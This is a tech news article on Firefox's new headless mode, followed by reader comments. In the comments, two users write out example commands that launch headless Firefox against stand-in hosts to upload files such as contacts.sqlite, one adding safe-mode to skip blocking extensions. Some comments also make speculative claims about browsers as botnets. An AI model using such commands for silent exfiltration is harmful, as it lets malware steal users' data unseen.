Firefox gets a new headless mode

Mozilla plans to introduce headless mode support in Firefox 55 Stable on Linux and Firefox 56 Stable on Windows and Mac devices.

Headless mode is a special display mode in which the web browser's user interface elements are not shown. Since that is the case, it is used in special use cases, for instance when you run automated tests or need to display a site or service without the user chrome of the web browser.

A bug was filed nine years ago on [email protected] to integrate a headless mode in the browser.

Google Chrome supports headless mode already. We talked about how to enable it previously here on Ghacks, and I suggest you check out the guide if you want to find out how to run Chrome in headless mode.

For Firefox, you need to run Firefox 55 or later on Linux, or Firefox 56 or later on Windows or Mac, for support. You can check the version of the browser by loading about:support in the browser's address bar. This reveals the version of Firefox, the channel, and other information.

Note: Headless mode does not work properly right now. When you try to load Firefox with the -headless parameter you will notice that the browser won't start up at all. I tested this on Windows and Linux, and several different Firefox versions, and it did not work at the time of writing. I did not try to run it in conjunction with Selenium though, so this may work already.

Running Firefox in headless mode

The initial implementation of headless mode in Firefox is basic. You need to run the browser with the -headless parameter to enable it. I suggest you create a new profile or use a portable version of Firefox for that, as you may not want to run your main Firefox profile in headless mode.

Read also:  All-in-One Sidebar Developer announces death of Firefox add-on

The reason behind this is that you don't get any user interface when you activate headless mode. This means that there is no address bar, no title bar, and no tab bar that you can interact with.

You can follow the development of headless mode in the Firefox web browser with a click on this link. It leads to the meta bug on [email protected]

Summary
Article Name
First look at Firefox's Headless Mode
Description
Mozilla plans to introduce headless mode support in Firefox 55 on Linux and Firefox 56 on Windows and Mac devices.
Author
Publisher
Ghacks Technology News
Logo
Advertisement
Please share this article

Facebooktwittergoogle_plusredditlinkedinmail



Responses to Firefox gets a new headless mode

  1. Yuliya September 1, 2017 at 3:33 pm #

    There's a bug in FireFox, at least in ESR52 it is present, which allows you to run it in some sort of fullscreen but in whatever window size you like (you can also leave a 2560x30px gap for taskbar if you like): imgur.com/a/TpHWg

    To trigger:
    1. maximise Fx
    2. F11
    3. WinKey
    4. click on AeroPeak (bottom right on taskbar, near clock)
    5. restore Fx from taskbar

    Now it's fullscreen with taskbar visible. At this point you can use Process Explorer (or other similar tools) to "restore" FireFox's window, which could be docked on a side for instance.. Btw, top edge still triggers tab bar, so you can easily minimise, switch tab, got to address, etc..

    • Anonymous September 1, 2017 at 5:46 pm #

      Hey, that's fun! Thanks for the tip. I like how there's always something new to learn about Firefox.

  2. TelV September 1, 2017 at 3:34 pm #

    As far as Windows is concerned hitting the F11 key is all you need to get 'headless mode'.

    • MozartMan September 1, 2017 at 3:59 pm #

      Yes. F11 works on Windows 10 in Firefox ESR 52.3.0 (64-bit) to get "headless mode".

    • Psy September 1, 2017 at 5:22 pm #

      You may feel it's the same. But NO, fullscreen mode and headless mode are two different things or two different purposes.

  3. Schnups September 1, 2017 at 3:48 pm #

    Honestly, I've got the impression Mozilla has been in a headless mode for quite a while.

    • Oxa September 1, 2017 at 7:12 pm #

      You took the words right out of my mouth.

  4. ak September 1, 2017 at 3:57 pm #

    The article you linked for chrome headless mode is wrong. kiosk and app mode are not headless mode. The command for chrome headless mode is same as firefox which is -headless.
    https://developers.google.com/web/updates/2017/04/headless-chrome

  5. Noob September 1, 2017 at 4:04 pm #

    Named after Mozilla leadership.

  6. Anonymous September 1, 2017 at 5:48 pm #

    Good thing. Browser automation is important, especially if it's heading towards W3C standard

    • gh September 1, 2017 at 7:24 pm #

      A few months back, when I read (in an editorial written by a Tor / TailsLinux" advocate) "don't use Chrome, or Firefox. They are botnets." I scratched my head, didn't understand.

      Today... aha, realization! Provides out-of-band comm capability, readily accessible via IPC (interprocess communication) to other installed programs...

      W3C. They were unsuccessful in foisting NaCl (native client) on us. Now, mozilla is corroborating with 'em ~~ punching holes in the dike, to serve the interests of "wannabe anti-malware vendors"? Check it out: Who comprises the W3C board? What are the interests/affiliations of those board members?

      The news regarding this "headless" anti-feature leaves me feeling stunned. Later, as emotions kick in, I'll probably feel angry or betrayed or whatever... but right now I'm just flat-out stunned.

  7. ams September 1, 2017 at 5:52 pm #

    Inclusion of this feature in the "release-channel" version of the product is unconscienable.

    "You need to run the browser with the -headless parameter to enable it."
    YOU, OR ANY PROCESS/SCRIPT WHICH CAN INVOKE A COMMANDLINE:
    $ firefox -headless https://slurp-yer-files-silently.daht.com?upload=contacts.sqlite

    This "headless" anti-feature creates a handy exfiltration vector for malware and spyware.

    Expect a feelgood "checkbox" will be presented to users to "disable" this... and also expect it'll will "accidentally" get re-enabled during auto-updates.

  8. Tom Hawack September 1, 2017 at 7:08 pm #

    Never tested this "headless mode" but basically what difference with the full-screen mode, in terms of view I mean?
    Also, a simple CSS could hide all chrome elements as well (with a little "firegesture" to recover them), no? It's not that I must, it's that I am obviously missing something...

    • gh September 1, 2017 at 7:30 pm #

      headless == no gui

      Try this description on for size:
      exposes (via commandline invocation) the equivalent of "out-of-band xHttpRequest functionality" to any program/process on your system.

      ===============

      maybe this analogy will Ring a Bell for you:

      MSOutlook + vbscript + MSIE == oh noez, all my megahurtz haz been stoled !110!1

      • Tom Hawack September 1, 2017 at 7:55 pm #

        That's under the hood. What I meant is what is seen by the user : full-screen is also gui free (unless a script, an add-on allows to have a toolbar appear). I mean : your screen displays the the same in full-screen and headless modes, no? In other words, what's the point, the advantage of the headless mode (unless there be but disadvantages if I read you correctly).

      • Anonymous September 1, 2017 at 8:22 pm #

        @Tom Hawack

        Point is simply to save resources and to be able apply Firefox in automated testing enviroment (VMs communicated via network, no keyboard, no mouse, no display etc.). For end user this doesn't matter much, if not at all, but for automated testing, quite alot.

        Take a look at the MDN doc that was linked in the article, it showcases the point quite nicely.

      • Tom Hawack September 1, 2017 at 8:59 pm #

        Now I get it. Thanks @Anonymous.
        I admit I've been lazy. As sometimes (often, always) if nothing exciting triggers your curiosity you remain somewhat passive and start mumbling 'Yeah, what for" :) I dislike that attitude and just surprised myself incarnating it. Anyway I've learned something.

      • gh September 2, 2017 at 12:40 am #

        (my related comment from 3 hours ago still shows "Your comment is awaiting moderation")

        "Chrome and Firefox Headless Modes May Spur New Adware & Clickfraud Tactics"
        bleepingcomputer.com

        https://www.bleepingcomputer.com/news/security/chrome-and-firefox-headless-modes-may-spur-new-adware-and-clickfraud-tactics/

    • ak September 1, 2017 at 9:03 pm #

      When I tried opening both Firefox and Chrome in headless mode nothing appeared on the screen.

  9. gh September 1, 2017 at 9:34 pm #

    whoosh... seems my earlier explanation / analogy missed the mark, and folks (Tom, at least) are confused by the terms "chromeless" vs "headless".

    Although I agree with the validity of anonymous' comment about the benefit, the value, of the headless feature FOR DEVELOPERS, IN A TESTING SCENARIO...

    WALK WITH ME. TAKE A LOOK:
    https://searchfox.org/mozilla-central/search?q=headless&case=true&path=

    POINT:
    The headless feature is unconditionally built-in
    (is included in "release channel" not just conditionally built for "developer edition")
    https://searchfox.org/mozilla-central/source/widget/moz.build
    https://searchfox.org/mozilla-central/source/toolkit/xre/nsAppRunner.cpp

    POINT:
    Can be used in conjunction with webrtc (mic/camera) functionality and, in fact,
    that is a supported "use case", by design (screencasting, chromecasting)
    https://searchfox.org/mozilla-central/source/media/webrtc/trunk/webrtc/build/chromium_common.gypi

    POINT:
    Malware on your system (or a link in clicked, in email or???) can invoke
    firefox --headless --new-instance --safe-mode hxxt://badsite.us/slurp?upload=payload

    No UI is presented (you don't see jack-shit)
    and the "safe-mode" arg bypasses loading of your adblock/noscript extensions
    and... yeah

    ==================

    Going forward, mozilla must AT A MINIMUM, provide a userpref governing availability of headless mode, to accommodate lockdown via a customized browser/defaults/preferences/vendor.js

    // Forbid headless invocation
    lockPref("app.allowheadless.enabled", false);

  10. Gary D September 2, 2017 at 8:19 pm #

    Having read the excellent explanations by GH, together with the links he which he provided, this unseen, "background", FF version can cause huge problems for the average user.
    I can see the advantages when developers use it but there seems to be no reason to make it universally available. This could turn into Hacker Heaven, judging by the content of the links provided by GH.

    Let's hope Mozilla implements the lockpref and limits the download to registered users.

  11. John Doe September 6, 2017 at 3:53 pm #

    On GNU/Linux, Firefox 55.0.3 loading of bookmarks, addons and stuff takes about 10 seconds.

  12. John Doe September 6, 2017 at 11:05 pm #

    Problem solved after verifying integrity of places database (in about:support), and a restart in safe mode. :-)

Leave a Reply